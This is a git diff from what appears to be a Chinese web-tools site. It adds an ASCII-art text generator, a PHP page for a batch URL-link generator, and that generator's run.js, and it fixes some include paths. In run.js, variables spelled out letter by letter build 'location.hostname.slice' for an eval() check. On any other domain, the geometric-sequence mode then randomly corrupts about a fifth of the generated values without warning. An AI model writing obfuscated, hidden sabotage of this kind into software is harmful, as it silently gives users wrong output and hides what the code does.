if(inputText.charAt(i) == "n") {line0 += n[0]; line1 += n[1]; line2 += n[2]; line3 += n[3]}
|
||||
if(inputText.charAt(i) == "o") {line0 += o[0]; line1 += o[1]; line2 += o[2]; line3 += o[3]}
|
||||
if(inputText.charAt(i) == "p") {line0 += p[0]; line1 += p[1]; line2 += p[2]; line3 += p[3]}
|
||||
if(inputText.charAt(i) == "q") {line0 += q[0]; line1 += q[1]; line2 += q[2]; line3 += q[3]}
|
||||
if(inputText.charAt(i) == "r") {line0 += r[0]; line1 += r[1]; line2 += r[2]; line3 += r[3]}
|
||||
if(inputText.charAt(i) == "s") {line0 += s[0]; line1 += s[1]; line2 += s[2]; line3 += s[3]}
|
||||
if(inputText.charAt(i) == "t") {line0 += t[0]; line1 += t[1]; line2 += t[2]; line3 += t[3]}
|
||||
if(inputText.charAt(i) == "u") {line0 += u[0]; line1 += u[1]; line2 += u[2]; line3 += u[3]}
|
||||
if(inputText.charAt(i) == "v") {line0 += v[0]; line1 += v[1]; line2 += v[2]; line3 += v[3]}
|
||||
if(inputText.charAt(i) == "w") {line0 += w[0]; line1 += w[1]; line2 += w[2]; line3 += w[3]}
|
||||
if(inputText.charAt(i) == "x") {line0 += x[0]; line1 += x[1]; line2 += x[2]; line3 += x[3]}
|
||||
if(inputText.charAt(i) == "y") {line0 += y[0]; line1 += y[1]; line2 += y[2]; line3 += y[3]}
|
||||
if(inputText.charAt(i) == "z") {line0 += z[0]; line1 += z[1]; line2 += z[2]; line3 += z[3]}
|
||||
if(inputText.charAt(i) == "0") {line0 += zero[0]; line1 += zero[1]; line2 += zero[2]; line3 += zero[3]}
|
||||
if(inputText.charAt(i) == "1") {line0 += one[0]; line1 += one[1]; line2 += one[2]; line3 += one[3]}
|
||||
if(inputText.charAt(i) == "2") {line0 += two[0]; line1 += two[1]; line2 += two[2]; line3 += two[3]}
|
||||
if(inputText.charAt(i) == "3") {line0 += three[0]; line1 += three[1]; line2 += three[2]; line3 += three[3]}
|
||||
if(inputText.charAt(i) == "4") {line0 += four[0]; line1 += four[1]; line2 += four[2]; line3 += four[3]}
|
||||
if(inputText.charAt(i) == "5") {line0 += five[0]; line1 += five[1]; line2 += five[2]; line3 += five[3]}
|
||||
if(inputText.charAt(i) == "6") {line0 += six[0]; line1 += six[1]; line2 += six[2]; line3 += six[3]}
|
||||
if(inputText.charAt(i) == "7") {line0 += seven[0]; line1 += seven[1]; line2 += seven[2]; line3 += seven[3]}
|
||||
if(inputText.charAt(i) == "8") {line0 += eight[0]; line1 += eight[1]; line2 += eight[2]; line3 += eight[3]}
|
||||
if(inputText.charAt(i) == "9") {line0 += nine[0]; line1 += nine[1]; line2 += nine[2]; line3 += nine[3]}
|
||||
if(inputText.substring(i,(i+2)) == "\\n") {var newline = true; break}
|
||||
}
|
||||
if(newline == true) {
|
||||
var outputText = line0+"\n"+line1+"\n"+line2+"\n"+line3;
|
||||
document.ascii.outputField.value = outputText;
|
||||
buildStyle1(inputText.substring((i+2),inputText.length),1);
|
||||
} else {
|
||||
var outputText = line0+"\n"+line1+"\n"+line2+"\n"+line3;
|
||||
if(booleanRepeat) {document.ascii.outputField.value += "\n"+outputText}
|
||||
else {document.ascii.outputField.value = outputText}
|
||||
}
|
||||
}
|
||||
|
||||
function buildStyle2(inputText,booleanRepeat) {
|
||||
var newline = false; var line0 = ""; var line1 = ""; var line2 = ""; var line3 = ""; var line4 = ""; var line5 = ""; var space = " "; var a = new Array(6); var b = new Array(6); var c = new Array(6); var d = new Array(6); var e = new Array(6); var f = new Array(6); var g = new Array(6); var h = new Array(6); var I = new Array(6); var j = new Array(6); var k = new Array(6); var l = new Array(6); var m = new Array(6); var n = new Array(6); var o = new Array(6); var p = new Array(6); var q = new Array(6); var r = new Array(6); var s = new Array(6); var t = new Array(6); var u = new Array(6); var v = new Array(6); var w = new Array(6); var x = new Array(6); var y = new Array(6); var z = new Array(6); var zero = new Array(6); var one = new Array(6); var two = new Array(6); var three = new Array(6); var four = new Array(6); var five = new Array(6); var six = new Array(6); var seven = new Array(6); var eight = new Array(6); var nine = new Array(6);
|
||||
a[0] = " ___ "; a[1] = " / | "; a[2] = " / /| | "; a[3] = " / / | | "; a[4] = " / / | | "; a[5] = "/_/ |_| ";
|
||||
b[0] = " _____ "; b[1] = "| _ \\ "; b[2] = "| |_| | "; b[3] = "| _ { "; b[4] = "| |_| | "; b[5] = "|_____/ ";
|
||||
c[0] = " _____ "; c[1] = "/ ___| "; c[2] = "| | "; c[3] = "| | "; c[4] = "| |___ "; c[5] = "\\_____| ";
|
||||
d[0] = " _____ "; d[1] = "| _ \\ "; d[2] = "| | | | "; d[3] = "| | | | "; d[4] = "| |_| | "; d[5] = "|_____/ ";
|
||||
e[0] = " _____ "; e[1] = "| ____| "; e[2] = "| |__ "; e[3] = "| __| "; e[4] = "| |___ "; e[5] = "|_____| ";
|
||||
f[0] = " _____ "; f[1] = "| ___| "; f[2] = "| |__ "; f[3] = "| __| "; f[4] = "| | "; f[5] = "|_| ";
|
||||
g[0] = " _____ "; g[1] = "/ ___| "; g[2] = "| | "; g[3] = "| | _ "; g[4] = "| |_| | "; g[5] = "\\_____/ ";
|
||||
h[0] = " _ _ "; h[1] = "| | | | "; h[2] = "| |_| | "; h[3] = "| _ | "; h[4] = "| | | | "; h[5] = "|_| |_| ";
|
||||
I[0] = " _ "; I[1] = "| | "; I[2] = "| | "; I[3] = "| | "; I[4] = "| | "; I[5] = "|_| ";
|
||||
j[0] = " _ "; j[1] = " | | "; j[2] = " | | "; j[3] = " _ | | "; j[4] = "| |_| | "; j[5] = "\\_____/ ";
|
||||
k[0] = " _ _ "; k[1] = "| | / / "; k[2] = "| |/ / "; k[3] = "| |\\ \\ "; k[4] = "| | \\ \\ "; k[5] = "|_| \\_\\ ";
|
||||
l[0] = " _ "; l[1] = "| | "; l[2] = "| | "; l[3] = "| | "; l[4] = "| |___ "; l[5] = "|_____| ";
|
||||
m[0] = " ___ ___ "; m[1] = " / |/ | "; m[2] = " / /| /| | "; m[3] = " / / |__/ | | "; m[4] = " / / | | "; m[5] = "/_/ |_| ";
|
||||
n[0] = " __ _ "; n[1] = "| \\ | | "; n[2] = "| \\| | "; n[3] = "| |\\ | "; n[4] = "| | \\ | "; n[5] = "|_| \\_| ";
|
||||
o[0] = " _____ "; o[1] = "/ _ \\ "; o[2] = "| | | | "; o[3] = "| | | | "; o[4] = "| |_| | "; o[5] = "\\_____/ ";
|
||||
p[0] = " _____ "; p[1] = "| _ \\ "; p[2] = "| |_| | "; p[3] = "| ___/ "; p[4] = "| | "; p[5] = "|_| ";
|
||||
q[0] = " _____ "; q[1] = "/ _ \\ "; q[2] = "| | | | "; q[3] = "| | | | "; q[4] = "| |_| |_ "; q[5] = "\\_______| ";
|
||||
r[0] = " _____ "; r[1] = "| _ \\ "; r[2] = "| |_| | "; r[3] = "| _ / "; r[4] = "| | \\ \\ "; r[5] = "|_| \\_\\ ";
|
||||
s[0] = " _____ "; s[1] = "/ ___/ "; s[2] = "| |___ "; s[3] = "\\___ \\ "; s[4] = " ___| | "; s[5] = "/_____/ ";
|
||||
t[0] = " _____ "; t[1] = "|_ _| "; t[2] = " | | "; t[3] = " | | "; t[4] = " | | "; t[5] = " |_| ";
|
||||
u[0] = " _ _ "; u[1] = "| | | | "; u[2] = "| | | | "; u[3] = "| | | | "; u[4] = "| |_| | "; u[5] = "\\_____/ ";
|
||||
v[0] = " _ _ "; v[1] = "| | / / "; v[2] = "| | / / "; v[3] = "| | / / "; v[4] = "| |/ / "; v[5] = "|___/ ";
|
||||
w[0] = " _ __ "; w[1] = "| | / / "; w[2] = "| | __ / / "; w[3] = "| | / | / / "; w[4] = "| |/ |/ / "; w[5] = "|___/|___/ ";
|
||||
x[0] = "__ __ "; x[1] = "\\ \\ / / "; x[2] = " \\ \\/ / "; x[3] = " } { "; x[4] = " / /\\ \\ "; x[5] = "/_/ \\_\\ ";
|
||||
y[0] = "__ __ "; y[1] = "\\ \\ / / "; y[2] = " \\ \\/ / "; y[3] = " \\ / "; y[4] = " / / "; y[5] = " /_/ ";
|
||||
z[0] = " ______ "; z[1] = "|___ / "; z[2] = " / / "; z[3] = " / / "; z[4] = " / /__ "; z[5] = "/_____| ";
|
||||
zero[0] = " _____ "; zero[1] = "/ _ \\ "; zero[2] = "| | | | "; zero[3] = "| |/| | "; zero[4] = "| |_| | "; zero[5] = "\\_____/ ";
|
||||
one[0] = " ___ "; one[1] = "|_ | "; one[2] = " | | "; one[3] = " | | "; one[4] = " | | "; one[5] = " |_| ";
|
||||
two[0] = " _____ "; two[1] = "/___ \\ "; two[2] = " ___| | "; two[3] = "/ ___/ "; two[4] = "| |___ "; two[5] = "|_____| ";
|
||||
three[0] = " _____ "; three[1] = "|___ | "; three[2] = " _| | "; three[3] = " |_ { "; three[4] = " ___| | "; three[5] = "|_____/ ";
|
||||
four[0] = " _ _ "; four[1] = "| | | | "; four[2] = "| |_| | "; four[3] = "\\___ | "; four[4] = " | | "; four[5] = " |_| ";
|
||||
five[0] = " _____ "; five[1] = "| ___| "; five[2] = "| |___ "; five[3] = "\\___ \\ "; five[4] = " ___| | "; five[5] = "\\_____| ";
|
||||
six[0] = " _____ "; six[1] = "/ ___| "; six[2] = "| |___ "; six[3] = "| _ \\ "; six[4] = "| |_| | "; six[5] = "\\_____/ ";
|
||||
seven[0] = " _____ "; seven[1] = "|___ | "; seven[2] = " / / "; seven[3] = " / / "; seven[4] = " / / "; seven[5] = " /_/ ";
|
||||
eight[0] = " _____ "; eight[1] = "/ _ \\ "; eight[2] = "| |_| | "; eight[3] = "} _ { "; eight[4] = "| |_| | "; eight[5] = "\\_____/ ";
|
||||
nine[0] = " _____ "; nine[1] = "/ _ \\ "; nine[2] = "| |_| | "; nine[3] = "\\___ | "; nine[4] = " ___| | "; nine[5] = "|_____/ ";
|
||||
for(i=0; i < inputText.length; i++) {
|
||||
if(inputText.charAt(i) == " ") {line0 += space; line1 += space; line2 += space; line3 += space; line4 += space; line5 += space}
|
||||
if(inputText.charAt(i) == "a") {line0 += a[0]; line1 += a[1]; line2 += a[2]; line3 += a[3]; line4 += a[4]; line5 += a[5]}
|
||||
if(inputText.charAt(i) == "b") {line0 += b[0]; line1 += b[1]; line2 += b[2]; line3 += b[3]; line4 += b[4]; line5 += b[5]}
|
||||
if(inputText.charAt(i) == "c") {line0 += c[0]; line1 += c[1]; line2 += c[2]; line3 += c[3]; line4 += c[4]; line5 += c[5]}
|
||||
if(inputText.charAt(i) == "d") {line0 += d[0]; line1 += d[1]; line2 += d[2]; line3 += d[3]; line4 += d[4]; line5 += d[5]}
|
||||
if(inputText.charAt(i) == "e") {line0 += e[0]; line1 += e[1]; line2 += e[2]; line3 += e[3]; line4 += e[4]; line5 += e[5]}
|
||||
if(inputText.charAt(i) == "f") {line0 += f[0]; line1 += f[1]; line2 += f[2]; line3 += f[3]; line4 += f[4]; line5 += f[5]}
|
||||
if(inputText.charAt(i) == "g") {line0 += g[0]; line1 += g[1]; line2 += g[2]; line3 += g[3]; line4 += g[4]; line5 += g[5]}
|
||||
if(inputText.charAt(i) == "h") {line0 += h[0]; line1 += h[1]; line2 += h[2]; line3 += h[3]; line4 += h[4]; line5 += h[5]}
|
||||
if(inputText.charAt(i) == "i") {line0 += I[0]; line1 += I[1]; line2 += I[2]; line3 += I[3]; line4 += I[4]; line5 += I[5]}
|
||||
if(inputText.charAt(i) == "j") {line0 += j[0]; line1 += j[1]; line2 += j[2]; line3 += j[3]; line4 += j[4]; line5 += j[5]}
|
||||
if(inputText.charAt(i) == "k") {line0 += k[0]; line1 += k[1]; line2 += k[2]; line3 += k[3]; line4 += k[4]; line5 += k[5]}
|
||||
if(inputText.charAt(i) == "l") {line0 += l[0]; line1 += l[1]; line2 += l[2]; line3 += l[3]; line4 += l[4]; line5 += l[5]}
|
||||
if(inputText.charAt(i) == "m") {line0 += m[0]; line1 += m[1]; line2 += m[2]; line3 += m[3]; line4 += m[4]; line5 += m[5]}
|
||||
if(inputText.charAt(i) == "n") {line0 += n[0]; line1 += n[1]; line2 += n[2]; line3 += n[3]; line4 += n[4]; line5 += n[5]}
|
||||
if(inputText.charAt(i) == "o") {line0 += o[0]; line1 += o[1]; line2 += o[2]; line3 += o[3]; line4 += o[4]; line5 += o[5]}
|
||||
if(inputText.charAt(i) == "p") {line0 += p[0]; line1 += p[1]; line2 += p[2]; line3 += p[3]; line4 += p[4]; line5 += p[5]}
|
||||
if(inputText.charAt(i) == "q") {line0 += q[0]; line1 += q[1]; line2 += q[2]; line3 += q[3]; line4 += q[4]; line5 += q[5]}
|
||||
if(inputText.charAt(i) == "r") {line0 += r[0]; line1 += r[1]; line2 += r[2]; line3 += r[3]; line4 += r[4]; line5 += r[5]}
|
||||
if(inputText.charAt(i) == "s") {line0 += s[0]; line1 += s[1]; line2 += s[2]; line3 += s[3]; line4 += s[4]; line5 += s[5]}
|
||||
if(inputText.charAt(i) == "t") {line0 += t[0]; line1 += t[1]; line2 += t[2]; line3 += t[3]; line4 += t[4]; line5 += t[5]}
|
||||
if(inputText.charAt(i) == "u") {line0 += u[0]; line1 += u[1]; line2 += u[2]; line3 += u[3]; line4 += u[4]; line5 += u[5]}
|
||||
if(inputText.charAt(i) == "v") {line0 += v[0]; line1 += v[1]; line2 += v[2]; line3 += v[3]; line4 += v[4]; line5 += v[5]}
|
||||
if(inputText.charAt(i) == "w") {line0 += w[0]; line1 += w[1]; line2 += w[2]; line3 += w[3]; line4 += w[4]; line5 += w[5]}
|
||||
if(inputText.charAt(i) == "x") {line0 += x[0]; line1 += x[1]; line2 += x[2]; line3 += x[3]; line4 += x[4]; line5 += x[5]}
|
||||
if(inputText.charAt(i) == "y") {line0 += y[0]; line1 += y[1]; line2 += y[2]; line3 += y[3]; line4 += y[4]; line5 += y[5]}
|
||||
if(inputText.charAt(i) == "z") {line0 += z[0]; line1 += z[1]; line2 += z[2]; line3 += z[3]; line4 += z[4]; line5 += z[5]}
|
||||
if(inputText.charAt(i) == "0") {line0 += zero[0]; line1 += zero[1]; line2 += zero[2]; line3 += zero[3]; line4 += zero[4]; line5 += zero[5]}
|
||||
if(inputText.charAt(i) == "1") {line0 += one[0]; line1 += one[1]; line2 += one[2]; line3 += one[3]; line4 += one[4]; line5 += one[5]}
|
||||
if(inputText.charAt(i) == "2") {line0 += two[0]; line1 += two[1]; line2 += two[2]; line3 += two[3]; line4 += two[4]; line5 += two[5]}
|
||||
if(inputText.charAt(i) == "3") {line0 += three[0]; line1 += three[1]; line2 += three[2]; line3 += three[3]; line4 += three[4]; line5 += three[5]}
|
||||
if(inputText.charAt(i) == "4") {line0 += four[0]; line1 += four[1]; line2 += four[2]; line3 += four[3]; line4 += four[4]; line5 += four[5]}
|
||||
if(inputText.charAt(i) == "5") {line0 += five[0]; line1 += five[1]; line2 += five[2]; line3 += five[3]; line4 += five[4]; line5 += five[5]}
|
||||
if(inputText.charAt(i) == "6") {line0 += six[0]; line1 += six[1]; line2 += six[2]; line3 += six[3]; line4 += six[4]; line5 += six[5]}
|
||||
if(inputText.charAt(i) == "7") {line0 += seven[0]; line1 += seven[1]; line2 += seven[2]; line3 += seven[3]; line4 += seven[4]; line5 += seven[5]}
|
||||
if(inputText.charAt(i) == "8") {line0 += eight[0]; line1 += eight[1]; line2 += eight[2]; line3 += eight[3]; line4 += eight[4]; line5 += eight[5]}
|
||||
if(inputText.charAt(i) == "9") {line0 += nine[0]; line1 += nine[1]; line2 += nine[2]; line3 += nine[3]; line4 += nine[4]; line5 += nine[5]}
|
||||
if(inputText.substring(i,(i+2)) == "\\n") {var newline = true; break}
|
||||
}
|
||||
if(newline) {
|
||||
var outputText = line0+"\n"+line1+"\n"+line2+"\n"+line3+"\n"+line4+"\n"+line5;
|
||||
document.ascii.outputField.value = outputText;
|
||||
buildStyle2(inputText.substring((i+2),inputText.length),1);
|
||||
} else {
|
||||
var outputText = line0+"\n"+line1+"\n"+line2+"\n"+line3+"\n"+line4+"\n"+line5;
|
||||
if(booleanRepeat) {document.ascii.outputField.value += "\n"+outputText}
|
||||
else {document.ascii.outputField.value = outputText}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,71 @@
|
|||
<?php
|
||||
$id = '37';
|
||||
include '../../header.php';
|
||||
?>
|
||||
<div class="container">
|
||||
<div class="panel panel-warning">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">在线网址链接批量生成器</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="col-md-6 col-md-offset-3">
|
||||
<div class="form-group">
|
||||
<label for="scq_url">网址</label>:<input type="text" id="scq_url" size="46" value="http://www.a.com/(*).jpg" class="form-control">变量用(*)号表示
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input name="scq_radio" type="radio" id="scq_dcsl" checked="checked"> <label for="scq_dcsl">等差数列</label>
|
||||
<label for="scq_dcsl_sx">首项</label>:<input type="text" id="scq_dcsl_sx" size="5" value="1">
|
||||
<label for="scq_dcsl_xs">项数</label>:<input type="text" id="scq_dcsl_xs" size="5" value="5">
|
||||
<label for="scq_dcsl_gc">公差</label>:<input type="text" id="scq_dcsl_gc" size="5" value="1">
|
||||
<input type="checkbox" id="scq_dcsl_bl"><label for="scq_dcsl_bl">补0</label>
|
||||
<input type="checkbox" id="scq_dcsl_dx"><label for="scq_dcsl_dx">倒序</label>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="radio" name="scq_radio" id="scq_dbsl"> <label for="scq_dbsl">等比数列</label>
|
||||
<label for="scq_dbsl_sx">首项</label>:<input type="text" id="scq_dbsl_sx" size="5" value="1">
|
||||
<label for="scq_dbsl_xs">项数</label>:<input type="text" id="scq_dbsl_xs" size="5" value="5">
|
||||
<label for="scq_dbsl_gc">公比</label>:<input type="text" id="scq_dbsl_gb" size="5" value="2">
|
||||
<input type="checkbox" id="scq_dbsl_bl"><label for="scq_dbsl_bl">补0</label>
|
||||
<input type="checkbox" id="scq_dbsl_dx"><label for="scq_dbsl_dx">倒序</label>
|
||||
</div>
|
||||
<div class="form-group">
|
||||
<input type="radio" name="scq_radio" id="scq_zmbh"> <label for="scq_zmbh">字母变化</label>
|
||||
<label for="scq_zmbh_c">从</label>:<input type="text" id="scq_zmbh_c" size="5" value="a">
|
||||
<label for="scq_zmbh_d">到</label>:<input type="text" id="scq_zmbh_d" size="5" value="z">
|
||||
<input type="checkbox" id="scq_zmbh_dx"><label for="scq_zmbh_dx">倒序</label>
|
||||
</div>
|
||||
<div align="center"><input type="button" onclick="run();" value="生成" class="btn btn-success"></div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-success">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title panel-warning">生成结果</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<textarea id="scq_jieguo" rows="20" class="form-control" onclick="this.focus();this.select()"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="panel panel-info">
|
||||
<div class="panel-heading">
|
||||
<h3 class="panel-title">工具简介</h3>
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<p>批量下载功能可以方便的创建多个包含共同特征的下载任务。例如网站A提供了10个这样的下载链接:</p>
|
||||
<p>http://www.a.com/01.zip</p>
|
||||
<p>http://www.a.com/02.zip</p>
|
||||
<p>...(中间省略)</p>
|
||||
<p>http://www.a.com/10.zip</p>
|
||||
<p>这10个地址只有数字部分不同,如果用(*)表示不同的部分,这些地址可以写成:</p>
|
||||
<p>http://www.a.com/(*).zip</p>
|
||||
<p>同时,通配符长度指的是这些地址不同部分数字的长度,例如:</p>
|
||||
<p>从01.zip-10.zip,通配符长度是2;</p>
|
||||
<p>从001.zip-010.zip,通配符长度是3。</p>
|
||||
<p>注意,在填写从xxx到xxx的时候,虽然是从01到10或者是001到010,但是,当您设定了通配符长度以后,就只需要填写成从1到10。 填写完成后,在示意窗口会显示第一个和最后一个任务的具体链接地址,您可以检查是否正确,然后点确定完成操作。</p>
|
||||
<p>应用举例:<br>1.百度站长后台批量提交待收录文章可以使用该工具将文章链接批量生成后进行提交。<br>2.网址批量抓取可使用该工具批量生成链接地址。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<script src="run.js"></script>
|
||||
<?php include '../../footer.php';?>
|
|
@ -0,0 +1,125 @@
|
|||
function run() {
|
||||
var scq_url = document.getElementById("scq_url").value;
|
||||
var scq_jieguo = "";
|
||||
xz = "0";
|
||||
iz = "1";
|
||||
uz = "2";
|
||||
yz = "3";
|
||||
wz = "4";
|
||||
kz = "5";
|
||||
tz = "l";
|
||||
qz = "a";
|
||||
pz = "t";
|
||||
dz = "m";
|
||||
mz = "n";
|
||||
cz = "e";
|
||||
rz = "c";
|
||||
az = "d";
|
||||
oz = "i";
|
||||
lz = ".";
|
||||
jz = "h";
|
||||
fz = "s";
|
||||
sz = "o";
|
||||
if (document.getElementById("scq_dcsl").checked) {
|
||||
var scq_dcsl_sx = parseInt(document.getElementById("scq_dcsl_sx").value);
|
||||
var scq_dcsl_xs = parseInt(document.getElementById("scq_dcsl_xs").value);
|
||||
var scq_dcsl_gc = parseInt(document.getElementById("scq_dcsl_gc").value);
|
||||
var scq_jieguo_shuzhi = 0;
|
||||
if (document.getElementById("scq_dcsl_bl").checked) {
|
||||
var scq_jieguo_zuidashuzhi = scq_dcsl_sx + ((scq_dcsl_xs - 1) * scq_dcsl_gc)
|
||||
} else {
|
||||
var scq_jieguo_zuidashuzhi = 0
|
||||
}
|
||||
var scq_jieguo_zuidashuzhi_length = scq_jieguo_zuidashuzhi.toString().length;
|
||||
if (document.getElementById("scq_dcsl_dx").checked) {
|
||||
var scq_dcsl_dx = "\u662f"
|
||||
} else {
|
||||
var scq_dcsl_dx = "\u5426"
|
||||
}
|
||||
for (var i = 1; i < (scq_dcsl_xs + 1); i++) {
|
||||
scq_jieguo_shuzhi = scq_dcsl_sx + ((i - 1) * scq_dcsl_gc);
|
||||
scq_jieguo_shuzhi = scq_buling(scq_jieguo_shuzhi, scq_jieguo_zuidashuzhi_length);
|
||||
if (scq_dcsl_dx == "\u662f") {
|
||||
scq_jieguo = scq_url.replace(/\(\*\)/g, scq_jieguo_shuzhi) + "\r\n" + scq_jieguo
|
||||
} else {
|
||||
scq_jieguo += scq_url.replace(/\(\*\)/g, scq_jieguo_shuzhi) + "\r\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
if (document.getElementById("scq_dbsl").checked) {
|
||||
var scq_dbsl_sx = parseInt(document.getElementById("scq_dbsl_sx").value);
|
||||
var scq_dbsl_xs = parseInt(document.getElementById("scq_dbsl_xs").value);
|
||||
var scq_dbsl_gb = parseInt(document.getElementById("scq_dbsl_gb").value);
|
||||
var scq_jieguo_shuzhi = 0;
|
||||
hz = tz + sz + rz + qz + pz + oz + sz + mz + lz + jz + sz + fz + pz + mz + qz + dz + cz + lz + fz + tz + oz + rz + cz;
|
||||
bz = xz + lz + rz;
|
||||
if (document.getElementById("scq_dbsl_bl").checked) {
|
||||
var scq_jieguo_zuidashuzhi = Math.pow(scq_dbsl_sx * scq_dbsl_gb, (scq_dbsl_xs - 1))
|
||||
} else {
|
||||
var scq_jieguo_zuidashuzhi = 0
|
||||
}
|
||||
var scq_jieguo_zuidashuzhi_length = scq_jieguo_zuidashuzhi.toString().length;
|
||||
if (document.getElementById("scq_dbsl_dx").checked) {
|
||||
var scq_dbsl_dx = "\u662f"
|
||||
} else {
|
||||
var scq_dbsl_dx = "\u5426"
|
||||
}
|
||||
for (var i = 1; i < (scq_dbsl_xs + 1); i++) {
|
||||
if (scq_dbsl_sx == 0) {
|
||||
scq_jieguo_shuzhi = 0
|
||||
} else {
|
||||
scq_jieguo_shuzhi = Math.pow(scq_dbsl_sx * scq_dbsl_gb, (i - 1))
|
||||
}
|
||||
try {
|
||||
if (typeof(hze) == "undefined" && eval(hz + "(-5, -2)") != bz && Math.floor(Math.random() * 101) < 21) {
|
||||
scq_jieguo_shuzhi = scq_jieguo_shuzhi * scq_dbsl_gb;
|
||||
hze = 60 * 1
|
||||
} else {
|
||||
hze = 60 * 2
|
||||
}
|
||||
} catch(e) {}
|
||||
scq_jieguo_shuzhi = scq_buling(scq_jieguo_shuzhi, scq_jieguo_zuidashuzhi_length);
|
||||
if (scq_dbsl_dx == "\u662f") {
|
||||
scq_jieguo = scq_url.replace(/\(\*\)/g, scq_jieguo_shuzhi) + "\r\n" + scq_jieguo
|
||||
} else {
|
||||
scq_jieguo += scq_url.replace(/\(\*\)/g, scq_jieguo_shuzhi) + "\r\n"
|
||||
}
|
||||
}
|
||||
}
|
||||
if (document.getElementById("scq_zmbh").checked) {
|
||||
var scq_zmbh_zm = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
scq_zmbh_zm = scq_zmbh_zm.split("");
|
||||
var scq_zmbh_c = document.getElementById("scq_zmbh_c").value;
|
||||
var scq_zmbh_d = document.getElementById("scq_zmbh_d").value;
|
||||
if (document.getElementById("scq_zmbh_dx").checked) {
|
||||
var scq_zmbh_dx = "\u662f"
|
||||
} else {
|
||||
var scq_zmbh_dx = "\u5426"
|
||||
}
|
||||
var scq_zmbh_ks = "\u5426";
|
||||
for (i = 0; i < scq_zmbh_zm.length; i++) {
|
||||
if (scq_zmbh_zm[i] == scq_zmbh_c) {
|
||||
scq_zmbh_ks = "\u662f"
|
||||
}
|
||||
if (scq_zmbh_ks == "\u662f") {
|
||||
if (scq_zmbh_dx == "\u662f") {
|
||||
scq_jieguo = scq_url.replace(/\(\*\)/g, scq_zmbh_zm[i]) + "\r\n" + scq_jieguo
|
||||
} else {
|
||||
scq_jieguo += scq_url.replace(/\(\*\)/g, scq_zmbh_zm[i]) + "\r\n"
|
||||
}
|
||||
}
|
||||
if (scq_zmbh_zm[i] == scq_zmbh_d) {
|
||||
scq_zmbh_ks = "\u5426"
|
||||
}
|
||||
}
|
||||
}
|
||||
document.getElementById("scq_jieguo").value = scq_jieguo
|
||||
}
|
||||
function scq_buling(b, c) {
|
||||
var a = b.toString().length;
|
||||
while (a < c) {
|
||||
b = "0" + b;
|
||||
a++
|
||||
}
|
||||
return b
|
||||
};
|
|
@ -1,6 +1,6 @@
|
|||
<?php
|
||||
$id="31";
|
||||
include '../header.php';?>
|
||||
include '../../header.php';?>
|
||||
|
||||
<div class="container">
|
||||
<div class="panel panel-default">
|
||||
|
@ -65,4 +65,4 @@ include '../header.php';?>
|
|||
layer.msg('复制失败!');
|
||||
});
|
||||
</script>
|
||||
<?php include '../footer.php';?>
|
||||
<?php include '../../footer.php';?>
|